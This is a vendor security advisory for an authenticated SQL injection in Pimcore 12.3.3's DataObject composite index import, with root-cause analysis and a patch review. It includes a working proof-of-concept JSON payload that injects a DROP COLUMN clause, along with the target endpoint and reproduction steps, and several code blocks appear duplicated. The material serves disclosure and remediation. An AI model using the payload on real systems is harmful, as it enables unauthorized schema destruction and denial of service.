Pimcore Platform v12.3.3 - SQL Injection in DataObject composite index handling

7

High

Detected by

Fluid Attacks AI SAST Scanner

Disclosed by

Oscar Naveda

Summary

Full name

Pimcore Platform v12.3.3 - SQL Injection in DataObject composite index handling during class definition import/save

Code name

State

Public

Release date

Affected product

Pimcore

Vendor

Pimcore

Affected version(s)

12.3.3

Fixed version(s)

Commit: a6964b0982100ee225beb7c1c9ef01ed1a98d47c

Vulnerability name

Blind-based SQL injection

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N

CVSS v4.0 base score

7.0

Exploit available

Yes

CVE ID(s)

Description

An authenticated administrative user who can import or save DataObject class definitions can inject attacker-controlled composite index metadata and trigger unintended SQL execution in the backend.

The vulnerable flow accepts compositeIndices from imported JSON, stores the values without strict validation, and later concatenates them directly into ALTER TABLE ... DROP INDEX and ALTER TABLE ... ADD INDEX statements executed through Doctrine DBAL.

Although the original report focused on compositeIndices.index_key, independent code review shows that the strongest and most reliable injection point is compositeIndices.index_columns, because it is inserted verbatim inside the ADD INDEX (...) clause. This permits the injection of additional ALTER TABLE subclauses against Pimcore object tables without relying on stacked queries.

Vulnerability

Root cause

  1. Source:

    • Pimcore\Model\DataObject\ClassDefinition\Service::importClassDefinitionFromJson() accepts compositeIndices directly from imported JSON.

  2. Assignment:

    • Pimcore\Model\DataObject\ClassDefinition::setCompositeIndices() does not enforce an allowlist for index names or column names.

    • The only special handling is a ManyToOne relation rewrite to __id and __type, which is not a security control.

  3. Sink:

    • Pimcore\Model\DataObject\Traits\CompositeIndexTrait::updateCompositeIndices() builds raw SQL with string concatenation and executes it via $this->db->executeQuery(...).

  4. Missing protection:

    • quoteIdentifier() is used for the SHOW INDEXES query, but not for the dynamic ALTER TABLE statements.

    • No server-side schema validation restricts index_key or index_columns to known safe identifier characters.

Confirmed source-to-sink path

  1. importClassDefinitionFromJson() decodes attacker-controlled JSON and forwards compositeIndices.

  2. setCompositeIndices() stores those values without sanitizing identifier content.

  3. ClassDefinition::save() reaches ClassDefinition\Dao::update().

  4. Dao::update() calls updateCompositeIndices() for:

    • object_store_<classId>

    • object_query_<classId>

  5. Localizedfield\Dao also calls updateCompositeIndices() for:

    • localized query tables

    • localized store tables

The vulnerable ADD INDEX statement is built as:

'ALTER TABLE `'.$table.'` ADD INDEX `' . $key.'` ('.$columnName.');'
'ALTER TABLE `'.$table.'` ADD INDEX `' . $key.'` ('.$columnName.');'
'ALTER TABLE `'.$table.'` ADD INDEX `' . $key.'` ('.$columnName.');'
'ALTER TABLE `'.$table.'` ADD INDEX `' . $key.'` ('.$columnName.');'

$columnName is produced from implode(',', $columns) and is not quoted or validated. A malicious index_columns element such as:

slider), DROP COLUMN `oo_className`
slider), DROP COLUMN `oo_className`
slider), DROP COLUMN `oo_className`
slider), DROP COLUMN `oo_className`

produces SQL of the form:

ALTER TABLE `object_query_<id>` ADD INDEX `c_poc_idx` (slider), DROP COLUMN `oo_className` -- );
ALTER TABLE `object_query_<id>` ADD INDEX `c_poc_idx` (slider), DROP COLUMN `oo_className` -- );
ALTER TABLE `object_query_<id>` ADD INDEX `c_poc_idx` (slider), DROP COLUMN `oo_className` -- );
ALTER TABLE `object_query_<id>` ADD INDEX `c_poc_idx` (slider), DROP COLUMN `oo_className` -- );

This remains a single ALTER TABLE statement, so the base vulnerability does not depend on multi-statement support. The attacker can inject additional DDL clauses affecting the target Pimcore object table.

Impact

The issue allows a privileged attacker to alter backend SQL behavior during class-definition import/save and modify schema on Pimcore object tables associated with the affected class.

Practical impact includes:

  • Unauthorized schema modification on object query/store tables

  • Backend denial of service by breaking the expected table layout

  • Data integrity impact for DataObject storage and queries

index_key is also concatenated into SQL without proper identifier escaping, but the most defensible exploitation path is through index_columns.

Relevant code:

  • models/DataObject/ClassDefinition/Service.php:92-137

  • models/DataObject/ClassDefinition.php:994-1006

  • models/DataObject/Traits/CompositeIndexTrait.php:30-85

  • models/DataObject/ClassDefinition/Dao.php:217-218

  • models/DataObject/Localizedfield/Dao.php:945-951

PoC

Application-level PoC

Preconditions:

  • Valid authenticated administrative session.

  • Ability to import or save a class definition containing compositeIndices.

The original report reproduced the issue through an authenticated Studio endpoint:

POST /pimcore-studio/api/class/definition/configuration-view/detail/1/import
POST /pimcore-studio/api/class/definition/configuration-view/detail/1/import
POST /pimcore-studio/api/class/definition/configuration-view/detail/1/import
POST /pimcore-studio/api/class/definition/configuration-view/detail/1/import

Minimal malicious JSON fragment:

{
  "compositeIndices": [
    {
      "index_key": "poc_idx",
      "index_type": "query",
      "index_columns": [
        "slider), DROP COLUMN `oo_className` -- "
      ]
    }
  ]
}
{
  "compositeIndices": [
    {
      "index_key": "poc_idx",
      "index_type": "query",
      "index_columns": [
        "slider), DROP COLUMN `oo_className` -- "
      ]
    }
  ]
}
{
  "compositeIndices": [
    {
      "index_key": "poc_idx",
      "index_type": "query",
      "index_columns": [
        "slider), DROP COLUMN `oo_className` -- "
      ]
    }
  ]
}
{
  "compositeIndices": [
    {
      "index_key": "poc_idx",
      "index_type": "query",
      "index_columns": [
        "slider), DROP COLUMN `oo_className` -- "
      ]
    }
  ]
}

Reproduction:

  1. Authenticate as an administrator with permission to manage/import class definitions.

  2. Export an existing class definition or prepare a valid class-definition JSON document.

  3. Replace only the compositeIndices section with the payload above.

  4. Import the modified definition or save the class through the administrative workflow.

Expected result:

  • Pimcore reaches updateCompositeIndices() during class save/import.

  • The backend executes an attacker-influenced ALTER TABLE statement against the target object table.

  • The affected class table is modified unexpectedly, for example, by dropping a column or otherwise changing the schema.

Minimal source-level confirmation

The behavior is directly visible from the code path:

$newIndicesMap['c_' . $key] = implode(',', $columns);
$columnName = $newIndicesMap[$key];
$this->db->executeQuery(
    'ALTER TABLE `'.$table.'` ADD INDEX `' . $key.'` ('.$columnName.');'
);
$newIndicesMap['c_' . $key] = implode(',', $columns);
$columnName = $newIndicesMap[$key];
$this->db->executeQuery(
    'ALTER TABLE `'.$table.'` ADD INDEX `' . $key.'` ('.$columnName.');'
);
$newIndicesMap['c_' . $key] = implode(',', $columns);
$columnName = $newIndicesMap[$key];
$this->db->executeQuery(
    'ALTER TABLE `'.$table.'` ADD INDEX `' . $key.'` ('.$columnName.');'
);
$newIndicesMap['c_' . $key] = implode(',', $columns);
$columnName = $newIndicesMap[$key];
$this->db->executeQuery(
    'ALTER TABLE `'.$table.'` ADD INDEX `' . $key.'` ('.$columnName.');'
);

No escaping or allowlist validation is applied $columns before they are interpolated into SQL.

Evidence of Exploitation

  • Video of exploitation:

  • Static evidence:

Our security policy

We have reserved the ID CVE-2026-5394 to refer to this issue from now on.

Disclosure policy

System Information

Vendor Context

Pimcore is an open-core data and experience management platform used to centralize and manage digital business data across several domains, including Product Information Management (PIM), Master Data Management (MDM), Customer Data Platform (CDP), Digital Asset Management (DAM), Digital Experience/CMS, and digital commerce. Its core framework is built on top of the Symfony PHP framework and is designed to provide a flexible foundation for modeling, storing, and exposing structured and unstructured data.

Technical Information

Pimcore Platform
Version v12.3.3
Operating System: Any

References

Mitigation

An updated version of Pimcore is available at the vendor page.

Patch Review

The patch correctly addresses the root cause of the SQL injection by hardening both places where composite index metadata became SQL syntax: the index name and the indexed column list.

In the vulnerable implementation, compositeIndices values imported from class-definition JSON were treated as trusted schema metadata. The backend accepted attacker-controlled index_key and index_columns , then later concatenated them into ALTER TABLE statements used to add or drop indexes. The most reliable injection point was index_columns , because column names were joined into a raw SQL fragment and placed directly inside ADD INDEX (...) .

The patch mitigates this through two complementary changes: validating identifiers before they reach the SQL-building logic, and quoting every identifier at the SQL sink.

Composite Index Identifiers Are Now Validated

The patched code validates the composite index key when composite indexes are assigned:

foreach ($compositeIndices as $compositeIndex) {
 $this->getDao()->assertValidIdentifier($compositeIndex['index_key'] ??
'');
}
foreach ($compositeIndices as $compositeIndex) {
 $this->getDao()->assertValidIdentifier($compositeIndex['index_key'] ??
'');
}
foreach ($compositeIndices as $compositeIndex) {
 $this->getDao()->assertValidIdentifier($compositeIndex['index_key'] ??
'');
}
foreach ($compositeIndices as $compositeIndex) {
 $this->getDao()->assertValidIdentifier($compositeIndex['index_key'] ??
'');
}

This prevents malicious index names from being stored as part of the class definition metadata. The DAO also validates the index key again before updating the schema:

$key = $newIndex['index_key'];
self::assertValidIdentifier($key);
$key = $newIndex['index_key'];
self::assertValidIdentifier($key);
$key = $newIndex['index_key'];
self::assertValidIdentifier($key);
$key = $newIndex['index_key'];
self::assertValidIdentifier($key);

More importantly, the patch validates each indexed column before the column list is used in SQL:

$columns = $newIndex['index_columns'];
foreach ($columns as $column) {
 self::assertValidIdentifier($column);
}
$columns = $newIndex['index_columns'];
foreach ($columns as $column) {
 self::assertValidIdentifier($column);
}
$columns = $newIndex['index_columns'];
foreach ($columns as $column) {
 self::assertValidIdentifier($column);
}
$columns = $newIndex['index_columns'];
foreach ($columns as $column) {
 self::assertValidIdentifier($column);
}

The validation routine restricts identifiers to a safe format:

public static function assertValidIdentifier(string $identifier): void
{
 if (!preg_match('/^[a-zA-Z][a-zA-Z0-9_-]{0,63}$/', $identifier)) {
 throw new \InvalidArgumentException(sprintf(
 'Invalid identifier "%s". Only letters, numbers, underscores and
hyphens are allowed. Must start with a letter and max 64 characters.',
 $identifier
 ));
 }
}
public static function assertValidIdentifier(string $identifier): void
{
 if (!preg_match('/^[a-zA-Z][a-zA-Z0-9_-]{0,63}$/', $identifier)) {
 throw new \InvalidArgumentException(sprintf(
 'Invalid identifier "%s". Only letters, numbers, underscores and
hyphens are allowed. Must start with a letter and max 64 characters.',
 $identifier
 ));
 }
}
public static function assertValidIdentifier(string $identifier): void
{
 if (!preg_match('/^[a-zA-Z][a-zA-Z0-9_-]{0,63}$/', $identifier)) {
 throw new \InvalidArgumentException(sprintf(
 'Invalid identifier "%s". Only letters, numbers, underscores and
hyphens are allowed. Must start with a letter and max 64 characters.',
 $identifier
 ));
 }
}
public static function assertValidIdentifier(string $identifier): void
{
 if (!preg_match('/^[a-zA-Z][a-zA-Z0-9_-]{0,63}$/', $identifier)) {
 throw new \InvalidArgumentException(sprintf(
 'Invalid identifier "%s". Only letters, numbers, underscores and
hyphens are allowed. Must start with a letter and max 64 characters.',
 $identifier
 ));
 }
}

This blocks payloads containing SQL syntax characters such as spaces, commas, parentheses, backticks, comment markers, or additional DDL clauses. For example, a payload like:

slider), DROP COLUMN `oo_className`
slider), DROP COLUMN `oo_className`
slider), DROP COLUMN `oo_className`
slider), DROP COLUMN `oo_className`

can no longer pass validation, because it contains characters outside the accepted identifier pattern.

SQL Identifier Quoting Is Applied at the Sink

The patch also replaces unsafe SQL construction with contextual identifier quoting. Instead of inserting a raw column list into the query, the patched code quotes the table name first:

$quotedTable = $this->db->quoteIdentifier($table);
$quotedTable = $this->db->quoteIdentifier($table);
$quotedTable = $this->db->quoteIdentifier($table);
$quotedTable = $this->db->quoteIdentifier($table);

It then quotes every indexed column individually:

$quotedColumns = implode(', ', array_map(
 fn (string $col) => $this->db->quoteIdentifier($col),
 $newIndicesColumnsMap[$key]
));
$quotedColumns = implode(', ', array_map(
 fn (string $col) => $this->db->quoteIdentifier($col),
 $newIndicesColumnsMap[$key]
));
$quotedColumns = implode(', ', array_map(
 fn (string $col) => $this->db->quoteIdentifier($col),
 $newIndicesColumnsMap[$key]
));
$quotedColumns = implode(', ', array_map(
 fn (string $col) => $this->db->quoteIdentifier($col),
 $newIndicesColumnsMap[$key]
));

Finally, it quotes the index key when building the ADD INDEX statement:

$this->db->executeQuery(
 'ALTER TABLE ' . $quotedTable .
 ' ADD INDEX ' . $this->db->quoteIdentifier($key) .
 ' (' . $quotedColumns . ');'
);
$this->db->executeQuery(
 'ALTER TABLE ' . $quotedTable .
 ' ADD INDEX ' . $this->db->quoteIdentifier($key) .
 ' (' . $quotedColumns . ');'
);
$this->db->executeQuery(
 'ALTER TABLE ' . $quotedTable .
 ' ADD INDEX ' . $this->db->quoteIdentifier($key) .
 ' (' . $quotedColumns . ');'
);
$this->db->executeQuery(
 'ALTER TABLE ' . $quotedTable .
 ' ADD INDEX ' . $this->db->quoteIdentifier($key) .
 ' (' . $quotedColumns . ');'
);

This is the key security improvement. The vulnerable behavior was not only that the values lacked validation, but that user-controlled strings were allowed to become SQL structure. In the patched version, each value is treated as an SQL identifier, not as executable SQL syntax.

Credits

The vulnerability was discovered by Oscar Naveda from Fluid Attacks' Offensive Team using the AI SAST Scanner.

Timeline

Vulnerability discovered

Vendor contacted

Vulnerability patched

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Get an AI summary of Fluid Attacks

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2026 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Get an AI summary of Fluid Attacks

© 2026 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Get an AI summary of Fluid Attacks

© 2026 Fluid Attacks. We hack your software.